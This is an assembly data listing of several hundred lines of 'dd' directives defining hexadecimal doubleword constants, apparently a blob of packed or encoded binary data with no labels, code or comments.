dd 90020BC7h, 0BA804957h, 7C62A4Ch, 0D536BEA0h, 0E9A82904h
dd 4161AD0h, 17E33DADh, 0FD135FE3h, 3E61AF5Fh, 8A2D39CDh
dd 96778A9Ah, 0D1E92769h, 0CA09FDC0h, 0AEA0BFA5h, 57FCFF4Bh
dd 139F5624h, 5F8FC8D9h, 1A007D90h, 50420A74h, 0C479D6E9h
dd 0A077BB20h, 0C32C81BDh, 601DD9C6h, 89BEF381h, 0EAF0DC4Ah
dd 2D050447h, 84DA296Fh, 5B0809D3h, 57518582h, 0BD7F4D40h
dd 24577058h, 0C307FEE7h, 765C17Ah, 0E7EEDC2h, 0D75C1D9Ch
dd 0D5E78716h, 899B45FEh, 0D68CC2F5h, 0E3407722h, 33A948B5h
dd 0CCC05F16h, 78BE84C7h, 0ED78FD0Ch, 0A395A0C3h, 0A893969Bh
dd 342F0221h, 4E462EB6h, 7B86EC5Dh, 0E70E16E6h, 2AD3004Ah
dd 0E90AA604h, 0D6A4Dh, 0B35491BFh, 0BEFD163h, 3FD7CF81h
dd 40F125Ah, 0B7B0747h, 0A03B4BC9h, 5CC36D0Ah, 0FB026263h
dd 4F244B0Eh, 0EFF1105Dh, 31F009A2h, 3F601BDh, 0B65AF1A8h
dd 7C60B041h, 0B02E77A3h, 3705352Ch, 2D0A436Bh, 50AF16C1h
dd 48BA3FD4h, 8A133BAEh, 0E6D4B47Fh, 2D68E040h, 818262Fh
dd 9EAC786Bh, 2E5C003h
dd 0B53ACD80h, 5BC5C7B0h, 37D841A9h, 50353F27h, 6A9A1292h
dd 0CFBDE93Ch, 0F4A1ABBCh, 65E007C3h, 4C62BA13h, 202C2440h
dd 3E5428B3h, 1F9685F5h, 7358A873h, 74E9C209h, 989075DDh
dd 854F0434h, 0F474CFECh, 0DDF5Bh, 80F8B652h, 0C6E67BE6h
dd 0CE7D0E76h, 0E9C006C7h, 95ACF0F4h, 0E2DE139Eh, 5026077Eh
dd 6B3635Ah, 80174E9Eh, 1D4210E0h, 48F1035Dh, 0ABB01730h
dd 34F7B820h, 356E0923h, 0AD465753h, 772BB04h, 99BA3EAAh
dd 68847B26h, 0CC82CAAAh, 49E9335Ch, 0B55EEA0Dh, 0EE626BB2h
dd 5CAA62C7h, 9430256Dh, 61828A4Dh, 0A33EE6D8h, 11C5505Eh
dd 1A5D7B10h, 72EBEF02h, 0E175194Eh, 2D69B55h, 2ACAF868h
dd 24D2147Dh, 2C1958C6h, 0C91D4F19h, 82D4E3A8h, 62C48D44h
dd 58C020BBh, 241347C7h, 8E140686h, 49E06FDFh, 1F5FDB29h
dd 554E6027h, 3681CFF9h, 404A5B4Dh, 2F2C4981h, 4182589Dh
dd 0B3C82B8Bh, 0C8283C62h, 0CDDC1E66h, 2FF70E90h, 0C8D9AACDh
dd 9FD0A572h, 0BF1CCE84h, 815E81CAh, 29357540h, 5CA99A5Ah
dd 605D5903h, 3B402156h, 0B971FE68h, 4C566CAAh, 0CFF2F85Ch
dd 9DE22A5Eh, 0DA135D96h, 12BE5FEAh, 0A2C25235h, 0D48C9FF7h
dd 0AC51D8Ch, 7D70EA6h, 421E1C98h, 0C1015BF4h, 5434925Eh
dd 9FD70B1Dh, 5BD14BA0h, 0EFC740E7h, 3AF39FCh, 40FE8926h
dd 0B159D010h, 68B9044Bh, 0E06DBF5Eh, 0D607B22Eh, 7C861F4h
dd 12E8C159h, 0D84E6E31h, 0E908C38Ch, 5FD6DA54h, 502DC8BBh
dd 72A85ACh, 748EB80h, 745D5EC3h, 0E77D8110h, 0C0D96F2Bh
dd 5532060h, 2D36FEBBh, 0B00AF3Ch, 6FE46855h, 3EC24CD3h
dd 40E9EB0Ah, 5F5989C8h, 1070BCFEh, 205D81FBh, 32BACE9Bh
dd 0EB87D30Bh, 625C0B45h, 0FFDD5A72h, 9B8A06B4h, 27872006h
dd 5A40D3E9h, 33EEB7B5h, 69E8354Fh, 68F9F7A0h, 0EF06AA24h
dd 8534406Bh, 0F3098275h, 5DD5A2F5h, 6B7BF65Bh, 0E90975D9h
dd 0F3F3E9D5h, 0F25A5E32h, 75DAC9E6h, 0BCE94402h, 3B58AAE9h
dd 0B24AB9CAh, 42EF8BCAh, 7475518h, 0F9E9E805h, 747C993h
dd 0B642CB3Ah, 0CFB7C21Dh, 5A220BE8h, 1D877749h, 7ED2131Eh
dd 749C0F00h, 7D0955A2h, 12225AD1h, 5624AB33h, 57A4E509h
dd 2FCA4C9Bh, 0E0F19090h, 333E7403h, 0F1CB8953h, 6C7BC69Ch
dd 414AE9A9h, 0DFA8E213h, 0E98430B4h, 33A0FDDDh, 40136974h
dd 0ED44514Eh, 32EF2B68h, 56DC5440h, 0E97C5E5Ah, 26C287F4h
dd 86590432h, 0BF85EF8Dh, 0FA03ECA7h, 2AC181F6h, 18CF1204h
dd 68ED98BBh, 2F6E6B31h, 5539283Dh, 2E377E10h, 0D2135431h
dd 782A6D0Bh, 2DE2807Ch, 0EF5D1C09h, 47ADFA6Eh, 3C585069h
dd 20E24A57h, 0AE154CC1h, 1B43035h, 0D60BFF8Ah, 1F479406h
dd 96BFF0FAh, 0E305209Bh, 0CEBC646Ch, 0ADC74FF4h, 0B1A4B469h
dd 32735EF5h, 0C78F9C4h, 79F66825h, 21B58023h, 0EC2850B4h
dd 0BC402490h, 7694B031h, 0CFD0B478h, 0EB76C049h, 68E808AAh
dd 6439E52Fh, 0D95258E2h, 2BB5E14Bh, 7899F29h, 0E6F85FE9h
dd 0CFA2E6B5h, 0AA73C63Ah, 89147128h, 71D7AF8Ah, 505A6223h
dd 5FB0E27Dh, 48025365h, 0E01DC04Fh, 0BF276E71h, 68C2A91Eh
dd 717D8768h, 800CB2FFh, 0EE03D77Eh, 2C44EE9h, 7DB6EFBDh
dd 48406B36h, 213E6D38h, 4CE70729h, 181C3541h, 152316BAh
dd 52AD1318h, 92FDE9E6h, 0CA4D7CE7h, 0C4D04D3h, 4FAEA2BDh
dd 1D5F7BBCh, 0F2A652DAh, 595413C6h, 11779AAh, 34F481h
dd 3D61FD2Dh, 4E797B72h, 2F36D17Dh, 825C210Ch, 0D78FE64Ah
dd 3DEDF949h, 1FAAEA83h, 7CD91166h, 0EDA32FEEh, 995B899Fh
dd 17EEFF7Ah, 0F531ED5Fh, 0B739E5ABh, 0E14E9702h, 0F2F83165h
dd 5CAADA20h, 0DA404A66h, 21AB932Eh, 0C9F19F8Fh, 0AE760807h
dd 0E2626BEFh, 18CC57C8h, 45FB60Eh, 51F003E5h, 0B53BC052h
dd 0C5803974h, 2AED0D73h, 0D610F528h, 0C05AA10Fh, 68003E5h
dd 0EB75305h, 84594AE9h, 66AD4A7Eh, 0C210EA88h, 0A992CC93h
dd 0BDFF80B7h, 5C6A782Ch, 2F7C5526h, 0D0648B46h, 2BB58B90h
dd 90565190h, 0E9560483h, 56AB9A5Ch, 49331EF0h, 0A99407C2h
dd 976AEC95h, 28291AE6h, 0DE039918h, 0B2CD9569h, 89CCD144h
dd 0A5A023E9h, 840FC23Bh, 0C52ADE20h, 0AC7F4B82h, 15BCC469h
dd 0A14B8BB7h, 38E631C4h, 229CC1C2h, 84641031h, 0CEDD1367h
dd 980DC7EFh, 27C6D327h, 0E9782374h, 0AEC49247h, 5FFB2598h
dd 0F720FA6Ch, 5CE3E0F8h, 0B67A9D58h, 3C68848Dh, 0F05FC943h
dd 19BF91FAh, 49359AA8h, 4A4C012Fh, 83132435h, 0AA5B570Ch
dd 19F7E050h, 69970944h, 9AD5B768h, 14DF6099h, 28BD001Ch
dd 0CB2CA81h, 0F2EC491Eh, 0ED0DCC16h, 18021BF8h, 523BEB48h
dd 5A61BFF0h, 0E72EA622h, 2BEE21h, 5EE8E644h, 498579Ah
dd 0A2025C14h, 1C616A3h, 46350C8h, 31EDDF7Ch, 4056C5F7h
dd 5AF028F6h, 35F45166h, 0BC5BCA40h, 0AA8B49F3h, 0E9126CBEh
dd 604070CAh, 6D334E43h, 5DEF2889h, 0F64474C1h, 7A8EA02Ah
dd 6BBB2578h, 0C4827474h, 7E4CD41Ah, 1848813Eh, 3F89DEE7h
dd 4EE924A4h, 47B7F49Dh, 0D0CA2007h, 4F772612h, 0C6410370h
dd 57F73F61h, 74E3E909h, 0A7C7BABh, 0C05A61A1h, 28C16373h
dd 1A2270Eh, 2E477554h, 3142E9h, 625225BDh, 0EE5C668Bh
dd 7D849A5Dh, 503FD5E9h, 5EF868A0h, 0DFC4C9B5h, 0B6068004h
dd 1812715Dh, 221CE5C1h, 41550B17h, 535080CFh, 2C523E68h
dd 170E7C31h, 85B6F986h, 0D45FB8D4h, 36702CDCh, 5A5AF388h
dd 78FDBD58h, 99B55C4Ah, 0F222EE51h, 0D0E6CC6Bh, 56A8119Ch
dd 6C55F880h, 8B641718h, 9F545722h, 0F925C25Bh, 9DA4236h
dd 614A1275h, 0F32AE8C4h, 0C7271019h, 7F010538h, 0D82932F4h
dd 1207452Dh, 1052AB84h, 202D9CE8h, 10478609h, 17685C82h
dd 0FB9B757Ah, 2B0709C9h, 5EE4DA8Ch, 0E6FDD0C0h, 6050DC23h
dd 551682F2h, 0A5E02CDDh, 0A7731C92h, 5121430Dh, 1DD078D4h
dd 2D300F3Dh, 6F8CA8F7h, 29CA0045h, 0EAC158C2h, 0E2068103h
dd 4D65772Ch, 1738090Ch, 0CD033F66h, 0AF951004h, 0EEBA07C7h
dd 0AE20D9A0h, 3578C0F4h, 5D7163FBh, 240564C0h, 0B7AA7E44h
dd 58D6E30Bh, 53FA2212h, 287AB888h, 0F195CAC3h, 4CE9708Bh
dd 0E4C0A2A8h, 7660258h, 15E68007h, 0AD7CDE4h, 502EC780h
dd 43205B0h, 0C3C0FE9Eh, 79016F01h, 685557E2h, 50ED4748h
dd 4BBAFC30h, 0BD8281Fh, 7D348E69h, 1FFEC396h, 0DFA51541h
dd 0F2C8C5F6h, 3B4468C1h, 2C8BA3Ch, 681C794Bh, 997F093Fh
dd 7A605AB2h, 0C895CB80h, 488D4D5Dh, 0C5204529h, 56535C01h
dd 0CC6F24BEh, 0C0EFB844h, 1BFCB60h, 53549D06h, 0AC40CFFh
dd 0DBB5E94Bh, 4E68BA6h, 0B483355Ch, 0CB5AF188h, 28AFD8D3h
dd 0E52C74C8h, 0ABD559E1h, 0E16A0BF5h, 92CB737Dh, 93C06C0Dh
dd 0F4EC997Eh, 0D593AFBDh, 0CAD0EB16h, 2E9D48C1h, 0A00997EEh
dd 682E40B0h, 3A7B8426h, 1D789688h, 0AA6392ACh, 4C89649h
dd 0B6F3EAD0h, 9F0FA45Ah, 0EA8865C0h, 9F28059h, 0D3B551E3h
dd 0F54D8257h, 777AE06Eh, 0E922C330h, 0BF3BD778h, 9E3A8781h
dd 4FC33B69h, 0E0715BCEh, 705A6CF1h, 0B8D2C3ECh, 3158D8DDh
dd 34E85A30h, 489EF42h, 872C2628h, 946D13B7h, 47D2BF4Dh
dd 0A3905D5Dh, 44E3DE9h, 1238B4D1h, 9C6AC104h, 0A56C2A98h
dd 6605BFF4h, 0DCF665Dh, 530C8399h, 415ACC54h, 0CFCC38FBh
dd 2D6863D5h, 58511007h
dd 2AE44ADAh, 0BB9567BDh, 1044D0F7h, 0F97E89B5h, 9CA2927h
dd 4C514160h, 324C146Ah, 80CEFE03h, 601DFC6h, 5AF4308Fh
dd 793C21E9h, 9A765D25h, 587B7698h, 0E4D3168h, 7D55587h
dd 16768BA3h, 0D0838C15h, 0F7E2C2E1h, 44B5BE78h, 0B9534F01h
dd 8EAEE551h, 4E2F181Dh, 0B67F1361h, 50049848h, 79957CB3h
dd 7AE904BFh, 0A152A874h, 332F10DEh, 4E9B407Ch, 51C3AFB4h
dd 0A34CB0E3h, 9EBEC1Fh, 35334F37h, 7933A255h, 42F4D47Eh
dd 84FD665Ch, 1CB897DAh, 0A573F84Bh, 98861E8h, 619E7769h
dd 0CD7AC845h, 0AFC3457Bh, 7A6303CEh, 0E576B97Eh, 0C8F5F0Fh
dd 6CCFABE1h, 9F197AB3h, 93BD72DBh, 0BAD015EDh, 139334D6h
dd 0B9C5296Ch, 0AADF8484h, 0F2B261FBh, 0CFE76E35h, 6BF6BD02h
dd 855F444Dh, 23D1848Bh, 9F44435Eh, 0BAC364C0h, 0F012850h
dd 73FE2AEh, 0BB536C3Ah, 7FE3C275h, 0EE82A58Bh, 0C875895Dh
dd 2864D024h, 40DE26A9h, 2C130517h, 990412D2h, 0FF1C87A3h
dd 0C7E68181h, 0F72B3502h, 45B0A2h, 0AE27D228h, 266D659Ah
dd 1D750839h, 0F318582Fh, 2475CB6Fh, 68867BCAh, 4A152CB7h
dd 15ABD46h, 36865BA8h, 34D83558h, 0E923126Fh, 0C7B140h
dd 75BF578Eh, 477D8DE0h, 5A285259h, 3848F78Fh, 6623F489h
dd 9BB935B5h, 0FA719798h, 71AF4565h, 256DE9FCh, 30B62E29h
dd 0B462C669h, 1DAA4755h, 1D39B5E9h, 25EECC26h, 5E4C5424h
dd 23F31079h, 4A5F5824h, 360D0022h, 8DE90C66h, 5AEE82BFh
dd 38B5CD1h, 9009AE23h, 0EAD00DF2h, 2721FB95h, 1E137474h
dd 4B2DE740h, 6B03E863h, 0BFE196C1h, 4D97F040h, 0A30F9028h
dd 0B82B8909h, 0CFEF401Eh, 873185Fh, 1CC50C44h, 0FCEADC50h
dd 29548BFDh, 0CD1804FBh, 0E95BAACAh, 0EE8185A5h, 0BBA40FFDh
dd 8C4CB28Eh, 0F641095Bh, 4697C6FCh, 645EEAC2h, 0F0C64A9Eh
dd 309F5F00h, 0FEE1F79Ah, 41944F33h, 3A1CE46Ch, 0FDC7D8CEh
dd 18170409h, 25A6201h, 41565A08h, 0D3AFF267h, 700253E1h
dd 76910891h, 49A08112h, 30C17D88h, 0C965A5A4h, 0F63D3349h
dd 4267AD21h, 7C195F76h, 92AD685Ah, 0A739AEACh, 0DFCD3D60h
dd 0B5A04765h, 0BAEAB1F5h, 36207D7Fh, 270E98BEh, 0DA591B9Ah
dd 1E4963AAh, 6F68171Ch, 3C92EE5Eh, 0E186EA41h, 9EE5CCFEh
dd 984E2378h, 1249681Bh, 0C5294B43h, 4E848F2Ah, 23A1FDA8h
dd 0A3CC2EE5h, 988BBACCh, 30060B1Fh, 0FCFC5BDEh, 0F028B785h
dd 0BAA587BCh, 0D7475404h, 199DE540h, 0BE903E21h, 3029BB0Ch
dd 16A81864h, 0E201936Ah, 74E0C08Dh, 0B250A4Ah, 7C9070B9h
dd 5B51107Dh, 0FB4CC766h, 39585B56h, 84C308CBh, 0D0B2887Eh
dd 0A11DE94Fh, 53032B7Bh, 9DA11BB2h, 48753A68h, 8122943h
dd 0B1523382h, 0D7CA550Ch, 62860EE1h, 2DF58BCh, 3D73853h
dd 0F101F3FCh, 0EBD315C8h, 0D85FE83Ch, 89978916h, 0DA6733E6h
dd 17A5FE16h, 4859CA5Fh, 1EA130BDh, 261BC3B9h, 2D1B7956h
dd 0C0E6C22Ch, 4C150CA8h, 7A3BCA27h, 5F08812Bh, 0C8D990A5h
dd 0B3C01896h, 275765B9h, 0F2595314h, 0F5088809h, 0E9178014h
dd 5CA46B94h, 0A15E7CBFh, 237C5CF8h, 2FF4B807h, 0F0CC1F68h
dd 0C758310Bh, 726C17E0h, 6FA2BEFCh, 5E5A10D0h, 0F4B284ACh
dd 0FF9CCC52h, 14F20C4Bh, 0CA810D4Ah, 603E69B3h, 122EBDA4h
dd 4882AA2Ch, 6020D473h, 7935BF59h, 986798BCh, 0F5088BC7h
dd 975ADFA4h, 61305852h, 7AB860E6h, 874011Dh, 0BA20ED05h
dd 7E22FD2Dh, 0CBC7511Dh, 0B21AA29Eh, 0AFFE5E2Dh, 9DF52860h
dd 84BD5580h, 0AA5E6EF6h, 0B661F731h, 39383832h, 3EE91D2Ch
dd 54F4C055h, 0A57D8A8Fh, 16BEED10h, 0A768BC0Ah, 0C2FD2FE4h
dd 0CFB5E2Fh, 6EEEC02Dh, 7898FBh, 0BF025E05h, 45F02D29h
dd 160830Fh, 7C0794D0h, 4D4411A2h, 8F84FA4Bh, 0E4E432FDh
dd 6E4D3844h, 968F8523h, 929EFABDh, 0A90A844Ah, 0DB5CB33Fh
dd 0E9F080D8h, 9C396EFh, 95895749h, 0C64F1452h, 674C83EDh
dd 2A42292Dh, 2CC4EF55h, 0B57A27AAh, 0C60EE912h, 75204AC9h
dd 57B62676h, 9D962E77h, 0CD257208h, 51C579E0h, 494FF43Ah
dd 9E35F21h, 9DCF56D2h, 4C02798Ch, 12BA20BFh, 0C416CC80h
dd 0BF609591h, 0B36BAB6Dh, 0E3132EC2h, 0B06E46A5h, 0B6734050h
dd 20280D48h, 50530198h, 0E621B168h, 29AE2019h, 5F5307BCh
dd 6302CB0Ch, 923D2082h, 0E868E005h, 169D0556h, 947DE995h
dd 4B90FFB3h, 2C182FC2h, 2D81232h, 6D359D29h, 0EB43487Dh
dd 2A4018A0h, 75820C33h, 6062A930h, 60DE06F1h, 9A280C3Ch
dd 0BB98793Fh, 0F234F741h, 724EE2C7h, 0CD5A5A9Ch, 36E42FA2h
dd 3A66414Bh, 0AF40F4E7h, 0D12B4A28h, 3ECBC424h, 9E7F84C9h
dd 0D1285ECFh, 349D0DBBh, 69AC3EADh, 0D3F717EDh, 7AF0608h
dd 845AF328h, 5217A02Bh, 27B95113h, 0A85E2DFCh, 426D2586h
dd 7894DFB1h, 0EDBCA5FCh, 0E4C5FE0Eh, 31EF065Eh, 2F8E9473h
dd 2D3BC2DDh, 0D6BAA7B7h, 84E970F8h, 9F243794h, 762BEA01h
dd 25F06B51h, 2F66B5B0h, 0DD2D1698h, 9696719Eh, 512FC25Ch
dd 94ECCE77h, 658689EBh, 52508E66h, 0BB4253CAh, 5BDA010Bh
dd 68600754h, 9B754F0h, 0D6F75E23h, 0BF89384h, 50495831h
dd 0BADBDF5Dh, 4B6807A1h, 0A478D460h, 2834D110h, 2430DDE8h
dd 7FB45804h, 0C3275B2Fh, 3102B1E9h, 0F708EDC1h, 4671C0D5h
dd 0BFAB000Eh, 2D5DE801h, 2A901409h, 0DA0879BEh, 0CFBE030Ah
dd 83FA5210h, 0CE81C360h, 89F62C4h, 0EB2FAF80h, 1F61920h
dd 6493BEF2h, 0C75989E8h, 574785B2h, 0A3A78A1h, 138612EDh
dd 0A4EF479h, 942A8241h, 7E80A4FCh, 0AE00AC41h, 489A0E3Dh
dd 5B16AE23h, 318A019Ch, 2862E9DAh, 0D0B8037Dh, 0D1609437h
dd 0D2596A5Bh, 4E29C61Ch, 0BDCC244Dh, 82548D82h, 0E8C3647Eh
dd 9D92841Bh, 3E7E5009h, 0F75BC448h, 0B0667079h, 25644B04h
dd 0E113AE7Dh, 57DB2157h, 864B5A42h, 2A971A5Ch, 0FCD28BA6h
dd 80D396B3h, 936BD4Eh, 9E062030h, 737F45E0h, 28D89002h
dd 3FE44F16h, 0DB54AFE9h, 0A85B4ADEh, 0FBF0D91Bh, 0D785BB04h
dd 387440FFh, 21B3D95Ch, 4B2562B0h, 4BD5C6C4h, 8875655Dh
dd 0CB41DB70h, 0FEC7609h, 8C65BD95h, 37E3DB3Ah, 5ECC984Bh
dd 4EF60A40h, 3CFAA4D4h, 154A36F8h, 53E066F8h, 14129768h
dd 2CEF6ECFh, 0C5B53B5Ch, 884B39E4h, 924104FDh, 4B6E8961h
dd 0A45F5DF5h, 5394F29Ah, 90772BAh, 6D884BDCh, 0B0500963h
dd 0EF15487h, 0B1515880h, 0C12F8069h, 3A21F834h, 0D9B611E9h
dd 1F701804h, 705181A1h, 0D640D2A1h, 62DA0FEh, 0CE94A826h
dd 0C6012859h, 3F9F01D0h, 0C1E97003h, 0A6B72BD8h, 0FE94122Ah
dd 270B2ECh, 88D3EE80h, 0C07F5AF0h, 0BD195740h, 0E411F4BAh
dd 68CF8A06h, 5142A15Bh, 886853F7h, 0BB3B7576h, 7AA8A7ACh
dd 62E6206Ch, 52823150h, 23E86816h, 7B174260h, 0BA2601E7h
dd 5540BF39h, 81A93029h, 3CA3F238h, 0E4A30FDh, 4F3B706Ch
dd 88F6E8ACh, 0C2273C8Ch, 4F818945h, 572A7D68h, 6F55FE30h
dd 0DE1F8BD7h, 833E5642h, 88FA47F6h, 0D097D250h, 2530B1CCh
dd 63357E58h, 9BB699Bh, 0F825F89h, 3ED3EB12h, 0D4B0F6AAh
dd 0B45AE80Bh, 86A15D5Eh, 0F64DF3C7h, 0D6CFB4E0h, 7E33D19h
dd 0F2EB7B0Ch, 0BC96606Fh, 6C3C310Dh, 0D90FC130h, 878221FCh
dd 0F00166A9h, 5A42123Fh, 79360A68h, 0C7CC13F9h, 18B6C205h
dd 1E5A8772h, 0D957E563h
dd 528E8D53h, 0E807552Ch, 31964904h, 9ADB394h, 4F2400E4h
dd 5E3C8865h, 4D70ECD1h, 69F25A6Bh, 156BE397h, 7CF954E9h
dd 7956817h, 0AF1019F3h, 0CA04EEAh, 0F66F9009h, 2812968Bh
dd 0B8E70703h, 0C21B1719h, 9AF5721Ch, 10589BCDh, 4FBB5ED6h
dd 0F04019B8h, 0E72D80CDh, 461B0E0Bh, 4B88D95Fh, 59A1AA06h
dd 50255476h, 277EF990h, 5F930045h, 532A28AFh, 8202BB22h
dd 0DA2440DFh, 14CA9740h, 14760809h, 8EEF5764h, 3DF84EFFh
dd 2D40279Ch, 2809E5B4h, 875866E1h, 0ADE2621Ch, 62C4D670h
dd 2009C8F8h, 66CEE6DCh, 7EC94AEh, 0D0F9DB80h, 395C8D2Dh
dd 28254148h, 5E500705h, 82416083h, 0F6B49E02h, 0B5C27A6h
dd 0A0A58959h, 0E916E64Ch, 0C2F6C8D1h, 0BD4AC858h, 0BDC14A69h
dd 8000BE8Ah, 99564E6h, 0FC480781h, 0E095347h, 0C7B78E6Fh
dd 5B63F828h, 0C281AC5Ah, 0DD76E2FEh, 2575AD10h, 2783158h
dd 18A0E910h, 9D4D9C9Dh, 895371E1h, 0FEF56815h, 0E7349F2Dh
dd 3456B956h, 0BD91FDE9h, 73146275h, 0C8010288h, 5AB5E364h
dd 0ACA385BDh, 0AC8C1379h, 0A013CB82h, 0A9F6BDA9h, 0A6E9E93Eh
dd 0F3FE123Ah, 15E9C3B7h, 0E8C9101Fh, 370CDE3Dh, 407A2543h
dd 589D010Ah, 6CC2055Eh, 0AE534DCDh, 75E2699Dh, 0BA75FD09h
dd 5395DEE5h, 428202AAh, 13C8F371h, 469D2166h, 0C50E20DAh
dd 17E55895h, 9A12D768h, 9FCF5967h, 0E94ED00h, 68291EDFh
dd 130828D5h, 3CDAA65Ah, 1376F4BFh, 0D6F83125h, 0B8874299h
dd 7BB22805h, 809ACC76h, 8A5E09D2h, 0F4EE0C5Fh, 0D784E40Bh
dd 75F93B98h, 0A1CDE5C9h, 6EDC0AFh, 0F6D1053Bh, 0A09A08DDh
dd 8528F82Ch, 4FB0EB20h, 0E31F445Ch, 30CABF9Eh, 0EE58663Ch
dd 235F5286h, 3994C758h, 147496BAh, 2CA0480h, 21AC26F8h
dd 0D668896Dh, 812DCEEEh, 61CEFE6Ch, 7B9321E9h, 6DEC7888h
dd 0BD7E0FFEh, 0F10992E1h, 0E084A1A2h, 82F6F86Ch, 7DF88850h
dd 0D5F604E0h, 5975EFEEh, 0E1E8DF5Bh, 3AB25202h, 7AE0EAD0h
dd 634C0CC6h, 9042C27h, 0C4820969h, 2D19F64h, 18C69E52h
dd 0B1DBBCE9h, 3124CEBh, 8E013824h, 2B3D6551h, 35BB1883h
dd 0C0561DEh, 4CA39A0h, 0F80D17FEh, 0E542B97Ah, 155F06E0h
dd 5D9C1FF2h, 42AEBA17h, 5AD18939h, 90B482D7h, 853500E8h
dd 70D205C2h, 948840EBh, 296FF65Dh, 0C50D70F3h, 6EE37213h
dd 1612F4B0h, 0F3E9F65h, 0B240E21Ah, 0F397E93Fh, 55C7DEBEh
dd 8CFE17B4h, 65407C61h, 18D548F7h, 95094D00h, 0EAC14A71h
dd 0E71CC09Fh, 7AAF2E5Fh, 105A24A9h, 0F18103CAh, 7A16B958h
dd 0FE84B74Ch, 0BCA8139Dh, 4C276900h, 6570BA64h, 25A0415Ch
dd 557062DFh, 6812F3C4h, 37AA54BCh, 6BAB2A93h, 0F4B05356h
dd 4BE0503Dh, 3919F87Ch, 1C2D101h, 3C91E90Bh, 6AB01D2Fh
dd 0BF77D2CAh, 90ADCADh, 830303E2h, 58D0B6D5h, 0E91CD631h
dd 0D62F1799h, 6F90720Ah, 0BAB512CCh, 0A468DD0Fh, 0C89F9A72h
dd 0AA68DB3Ah, 1F3660A6h, 0BD1BC060h, 377E0CDDh, 77BA1EF6h
dd 0CD993051h, 5B5792FAh, 95D033F4h, 0C3C0331Bh, 4C956F68h
dd 3FC20F0h, 5800A49Ch, 0E930B728h, 0B9884ACBh, 917684C0h
dd 5F1ACAEDh, 84090DFBh, 5C13597Bh, 0C5015C04h, 5D2D4B1Dh
dd 219D2B30h, 0F40C31D6h, 5C59B762h, 93107755h, 53F05A7Ah
dd 6FC92F4Ah, 0C3141CD6h, 0DF1C6B08h, 3F0F1429h, 919AAB2Bh
dd 79339300h, 46903661h, 0E9144571h, 84AFCC59h, 2513A1BFh
dd 0DE20279Fh, 0C3C49017h, 0CE1D6693h, 0F3C04B16h, 13FED550h
dd 14E09D21h, 599F05ACh, 1A844F87h, 0DF6BB4CBh, 3DBC57FCh
dd 18014D16h, 66F36067h, 0E52660h, 50208918h, 2B92DB8h
dd 22C0BC4Eh, 977785E9h, 1E9635F9h, 0BEA024EAh, 6B69F728h
dd 0EF7C1ED4h, 487E2299h, 0F25AF3C0h, 28B10BEBh, 0AB8250C3h
dd 295EF114h, 52CF296Fh, 13229202h, 0DF5E5456h, 3DE91311h
dd 18E27E20h, 0D9F2D23h, 1038B87Eh, 8D501020h, 0DF5B6D8h
dd 7FFAD501h, 0F50CCD5Ah, 8F0B9A6Ah, 0FEA6ABD5h, 0A6E7A7Ah
dd 4B80FB49h, 0E917EB9Eh, 0C1FDE4B3h, 0D95D600Fh, 0ACDA6423h
dd 19D2DFBh, 295BFEB7h, 9ADB183Ch, 1EA4EA29h, 0CB434515h
dd 53149294h, 9401534Fh, 6D22611Eh, 22755812h, 29B40A3h
dd 0D263B70Fh, 4501B883h, 589310F6h, 2C6F2119h, 0E82FC187h
dd 0AFA56310h, 9D08C546h, 16933FC0h, 80205BB5h, 0F74F9EAh
dd 0C226012Fh, 0C602BD51h, 87092827h, 0CE42CD94h, 1A4411Dh
dd 7E33241h, 249C9D47h, 4467892h, 0E9D989B1h, 3C94F122h
dd 610AA136h, 36064303h, 0B4CDF6ACh, 0B1519F72h, 0D167BF09h
dd 27392832h, 72C61040h, 5A28AF4Dh, 0EAECFA8Dh, 2826C311h
dd 569380C2h, 79D404EAh, 0F280165Eh, 0D98609F6h, 0B065A669h
dd 955A00Dh, 6C4B7B32h, 90467D9Eh, 5FCDC43Eh, 4EF98EA1h
dd 561D3C78h, 0D825CC57h, 120FE62Bh, 650D0358h, 0B8C89237h
dd 5E489807h, 0D9AE56EEh, 84156DA8h, 8910B344h, 0C5A9A19h
dd 71A6AF68h, 18156264h, 0D0A70C03h, 0EC208BDh, 16CA8058h
dd 6150E267h, 0E4FE69EAh, 4C2D2F6h, 0D77423E9h, 9C523398h
dd 0B0A29786h, 0B2DD697Ch, 7D73CE4Fh, 0E6DE823Ah, 49123B00h
dd 0A13CEA68h, 5027C65h, 2D04E6DAh, 403534CFh, 3E127FA2h
dd 7B6689B9h, 0FB319329h, 0BCF2C52Ah, 207FD499h, 657E9118h
dd 5BF5B352h, 52B22FE8h, 0AD2A99E4h, 13987D64h, 177499Fh
dd 2B488379h, 61458D24h, 7E786859h, 0AA4DA4A6h, 0F1B5E982h
dd 3AC6E291h, 3268E602h, 61ED7575h, 789B6806h, 96D925F3h
dd 5700E06Eh, 6DFE6852h, 5AE93AA7h, 497A1DDDh, 2D295987h
dd 52D9438Bh, 829BE76Bh, 0C6EE953h, 22C6A53h, 9FC2F59Fh
dd 41E5D13Fh, 0BF04E75Fh, 443C4804h, 0E90838BBh, 9C4A8409h
dd 0EB28D71Eh, 0DAC62D08h, 3FA66EB9h, 48C1C08h, 0EA97D7F7h
dd 7AB5B5C7h, 0D97B3DF1h, 2D23E65h, 46F6C50h, 1C3866C7h
dd 9204AB10h, 2815697Bh, 1F6EED50h, 8C71DF29h, 0D86FEFBDh
dd 35046CC0h, 24FDF3BCh, 28A089FBh, 5A120B04h, 53E22E8Fh
dd 0B55444F7h, 12554762h, 68A540C3h, 0E0623A9Fh, 0EB257E5Ch
dd 4B1212FEh, 0ED4B7DA9h, 0D5E6C1D5h, 700122h, 0E020E8F6h
dd 0F8C59D08h, 0A7560E96h, 0C4B3E375h, 2296680Bh, 69F02966h
dd 9954B52Bh, 0DF5B2A28h, 88C5F947h, 0AE12842Bh, 0F955EA12h
dd 3B5C3724h, 0C154A195h, 8F86273Dh, 0C7F6540h, 0D8307CE9h
dd 0D5895523h, 8D9AE8FCh, 0CE686609h, 0E288DC6Eh, 0C90894A1h
dd 0F817DA01h, 23D8B85Ah, 847A5A35h, 3CA019Fh, 7E7043E9h
dd 63000F35h, 5ACA280Bh, 0CFF89D01h, 6F5F0881h, 5C896598h
dd 0ADEE7A9h, 757DDFh, 7A366F05h, 664E5E10h, 658E62A0h
dd 82D621CCh, 0BA7F3CF1h, 27922372h, 0C20F2C12h, 64D127AAh
dd 4384E30Ch, 445D64EBh, 0BDD1A0C5h, 63481B09h, 0ED13FD6Fh
dd 8C9450F8h, 420977B8h, 7E43E61Ch, 6408A066h, 0AD020E5Fh
dd 5EA39430h, 0A1086C75h, 26562F71h, 98803412h, 7987D6F7h
